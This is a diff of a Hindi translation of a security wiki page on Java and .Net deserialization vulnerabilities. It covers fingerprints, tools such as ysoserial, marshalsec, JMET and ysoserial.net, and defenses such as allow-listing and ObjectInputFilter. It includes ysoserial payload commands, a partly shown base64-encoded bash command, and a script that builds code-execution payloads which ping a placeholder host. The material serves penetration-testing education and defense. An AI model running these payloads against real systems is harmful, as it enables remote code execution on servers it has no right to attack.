Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो इन callbacks को ट्रिगर करने वाले दुर्भावनापूर्ण payloads तैयार करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन की संभावना होती है।
|
||||
|
||||
### फिंगरप्रिंट्स
|
||||
### Fingerprints
|
||||
|
||||
#### व्हाइट बॉक्स
|
||||
#### White Box
|
||||
|
||||
कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:
|
||||
|
||||
@ -333,22 +333,22 @@ Java में, **deserialization callbacks deserialization की प्रक
|
||||
- `ObjectInputStream.readUnshared`।
|
||||
- `Serializable` का सामान्य उपयोग।
|
||||
|
||||
#### ब्लैक बॉक्स
|
||||
#### Black Box
|
||||
|
||||
ब्लैक बॉक्स परीक्षण के लिए, विशेष **हस्ताक्षर या "मैजिक बाइट्स"** की तलाश करें जो java serialized objects (जो `ObjectInputStream` से उत्पन्न होते हैं) को दर्शाते हैं:
|
||||
ब्लैक बॉक्स परीक्षण के लिए, विशेष **हस्ताक्षर या "Magic Bytes"** की तलाश करें जो java serialized objects को दर्शाते हैं (जो `ObjectInputStream` से उत्पन्न होते हैं):
|
||||
|
||||
- हेक्साडेसिमल पैटर्न: `AC ED 00 05`।
|
||||
- बेस64 पैटर्न: `rO0`।
|
||||
- HTTP प्रतिक्रिया हेडर जिसमें `Content-type` `application/x-java-serialized-object` पर सेट है।
|
||||
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`।
|
||||
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। एक वेब एप्लिकेशन में इन पैटर्नों की खोज करने से [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट में विस्तृत जांच की जानी चाहिए।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देती है जैसा कि [Java JSF ViewState Deserialization के बारे में पोस्ट](java-jsf-viewstate-.faces-deserialization.md) में विस्तृत किया गया है।
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### कमजोरियों की जांच करें
|
||||
|
||||
यदि आप **जानना चाहते हैं कि एक Java Deserialized एक्सप्लॉइट कैसे काम करता है** तो आपको [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), और [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) पर एक नज़र डालनी चाहिए।
|
||||
यदि आप **जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है** तो आपको [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), और [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) पर एक नज़र डालनी चाहिए।
|
||||
|
||||
#### व्हाइट बॉक्स परीक्षण
|
||||
|
||||
@ -358,7 +358,7 @@ find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और [**Ysoserial** ](https://github.com/frohoff/ysoserial) इसके लिए एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
|
||||
आप संभावित गैजेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
आप संभावित गेज़ेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
**gadgetinspector** चलाते समय (इसे बनाने के बाद) उन सभी चेतावनियों/त्रुटियों की परवाह न करें जिनसे यह गुजर रहा है और इसे पूरा करने दें। यह सभी निष्कर्ष _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
|
||||
#### ब्लैक बॉक्स टेस्ट
|
||||
@ -376,14 +376,14 @@ Java Deserialization Scanner **`ObjectInputStream`** deserializations पर क
|
||||
|
||||
**Serialization टेस्ट**
|
||||
|
||||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया गया है। कभी-कभी आप **serialized ऑब्जेक्ट के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||||
यदि आप एक जावा serialized ऑब्जेक्ट पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे भेजे गए serialization ऑब्जेक्ट को अधिक मानव-पठनीय प्रारूप में प्रिंट किया जा सके**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया गया है। कभी-कभी आप **serialized object के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||||
यदि आप एक जावा serialized object पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट किया जा सके**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
|
||||
### **शोषण**
|
||||
### **Exploitation**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
जावा deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
Java deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** का शोषण करने पर **केंद्रित** है।\
|
||||
मैं **RCE** पेलोड से पहले "URLDNS" पेलोड का उपयोग करना **शुरू करूंगा** यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
|
||||
```bash
|
||||
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
जब **java.lang.Runtime.exec()** के लिए एक पेलोड बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके कमांड निष्पादित करने के लिए या यहां तक कि **कमांड के लिए तर्क** पास करने के लिए जो **स्पेस** द्वारा अलग किए गए हैं (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। पेलोड को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
|
||||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** पेलोड बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -455,12 +455,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
आप **उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **बातचीत की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़नी थीं**:
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **निर्भरता** **जोड़नी** पड़ी:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -503,16 +503,16 @@ Java विभिन्न उद्देश्यों के लिए ब
|
||||
|
||||
#### Transient objects
|
||||
|
||||
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:
|
||||
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण के लिए:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### एक क्लास के Serialization से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
#### एक क्लास का Serialization करने से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
|
||||
ऐसे परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को क्लास हायरार्की के कारण `Serializable`** इंटरफेस लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
उन परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास हायरार्की के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
- डीसिरियलाइजेशन कोड आपके नियंत्रण में है।
|
||||
- डीसिरियलाइजेशन के लिए अपेक्षित कक्ष ज्ञात हैं।
|
||||
|
||||
**`resolveClass()`** विधि को ओवरराइड करें ताकि डीसिरियलाइजेशन केवल अनुमत कक्षों तक सीमित हो सके। यह किसी भी कक्षा के डीसिरियलाइजेशन को रोकता है सिवाय उन कक्षों के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो डीसिरियलाइजेशन को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||||
**`resolveClass()`** विधि को ओवरराइड करें ताकि डीसिरियलाइजेशन केवल अनुमत कक्षों तक सीमित हो सके। यह किसी भी कक्षा के डीसिरियलाइजेशन को रोकता है सिवाय उन कक्षों के जो स्पष्ट रूप से अनुमत हैं, जैसे कि निम्नलिखित उदाहरण में जो डीसिरियलाइजेशन को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -554,7 +554,7 @@ return super.resolveClass(desc);
|
||||
|
||||
एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइज होने से पहले सिरियलाइज किए गए ऑब्जेक्ट्स को पूरा करने के लिए मानदंड निर्दिष्ट करने का एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है।
|
||||
**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज्ड ऑब्जेक्ट्स को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है।
|
||||
|
||||
सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
|
||||
```java
|
||||
@ -568,16 +568,16 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डेसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डेसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।
|
||||
**बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।
|
||||
|
||||
- **NotSoSerial** डेसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
|
||||
- **jdeserialize** अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डेसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।
|
||||
- **NotSoSerial** डीसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
|
||||
- **jdeserialize** अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डीसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।
|
||||
- **Kryo** एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- डेसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- डीसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
@ -585,8 +585,8 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- जावा और .Net JSON डेसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- डेसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- जावा और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- डीसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI इंजेक्शन और log4Shell
|
||||
|
||||
@ -610,10 +610,10 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### शोषण
|
||||
|
||||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डेसिरियलाइज की जाएंगी**।\
|
||||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी**।\
|
||||
इसका मतलब है कि इस शोषण में सभी **ग्राहक जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||||
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डेसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||||
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||||
|
||||
@ -624,7 +624,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
.Net के संदर्भ में, डेसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डेसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके।
|
||||
.Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके।
|
||||
|
||||
### फिंगरप्रिंट
|
||||
|
||||
@ -639,20 +639,20 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### ब्लैकबॉक्स
|
||||
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डेसिरियलाइज हो सकता है, जिससे डेसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें शामिल हो सकता है, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ जिनमें `TypeObject` या `$type` शामिल हैं।
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डेसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लें तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार गिट रिपॉजिटरी डाउनलोड करने के बाद, आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, विज़ुअल स्टूडियो का उपयोग करके।
|
||||
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपने शोषण को कैसे बनाता है** तो आप [**इस पृष्ठ की जांच कर सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
|
||||
**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
|
||||
|
||||
- **`--gadget`** का उपयोग शोषण करने के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डेसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डेसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** का उपयोग करके **एन्कोड** करेगा (जो विंडोज पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चा लोड प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने** के लिए प्लगइन्स का समर्थन करता है जैसे ViewState
|
